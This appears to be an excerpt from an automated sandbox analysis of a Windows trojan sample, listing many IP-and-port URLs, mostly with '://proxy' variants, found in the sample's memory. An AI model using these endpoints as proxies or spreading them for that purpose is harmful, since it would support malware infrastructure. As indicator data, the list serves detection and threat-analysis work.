Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.110.27.165:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.110.27.165:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.57.174.152:41455
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.57.174.152:41455://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.57.181.122:51801
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.57.181.122:51801://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.117.11.57:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.117.11.57:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8285000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.120.9.10:39625
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.120.9.10:39625://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD54000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.126.64.193:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.126.64.193:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.126.65.11:1388
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.126.65.11:1388://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA62F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.225.105.108:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA62F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.225.105.108:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.247.251.240:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.247.251.240:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.132.205.84:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.132.205.84:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.135.210.179:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.135.210.179:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.135.41.236:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.135.41.236:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.135.42.126:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.135.42.126:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.150.15.30
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.150.15.30://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.150.15.30:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.198.49.189:4859
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.198.49.189:4859://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.199.164.140:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.199.164.140:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.202.230.103:8896
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.202.230.103:8896://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.211.85.169:42931
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.211.85.169:42931://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.213.214.254:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.213.214.254:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F92000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.102.123:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.102.123:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.217.49:10820
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.217.49:10820://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.218.79:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.218.79:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.64.91:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.64.91:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.65.120:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.65.120:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.65.125:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.255.65.125:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.51.214.182
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.51.214.182://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.51.214.182:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.79.243.103:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.79.243.103:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7670000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.80.103.9:6888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.80.103.9:6888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA6F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.87.78.137
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.87.78.137://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.87.78.137:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.99.10.252:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.99.10.252:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.99.148.60:8111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://88.99.148.60:8111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.116.229.56
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.116.229.56://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.116.229.56:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DAF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C902F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.151.134.157:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.151.134.157:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.161.70.115:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.161.70.115:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.165.117.30:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.165.117.30:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C659E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.168.121.175:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C659E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.168.121.175:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.188.110.196:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.188.110.196:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.237.34.17:37647
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.237.34.17:37647://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C804E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.237.35.129:51549
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.237.35.129:51549://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.248.204.178:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.248.204.178:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.249.65.191:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.249.65.191:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.28.32.203:57391
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.28.32.203:57391://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.36.114.38
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.36.114.38://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.36.114.38:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.43.10.141
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.43.10.141://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76EA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://90.154.124.211:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://90.154.124.211:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA3E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://90.74.184.32:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://90.74.184.32:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://90.84.17.133:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://90.84.17.133:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7860000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.107.123.189:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.107.123.189:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C849F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.107.203.75:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.107.203.75:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.108.130.111:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.108.130.111:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.121.88.53
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.121.88.53://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.121.88.53:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.121.89.41:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.121.89.41:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.121.89.41:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.121.89.41:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8483000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C843B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:11946
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:11946://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:12217
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:12217://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:16487
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:16487://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:27207
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:27207://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:32588
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:32588://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:49042
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:49042://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:5401
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:5401://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:57320
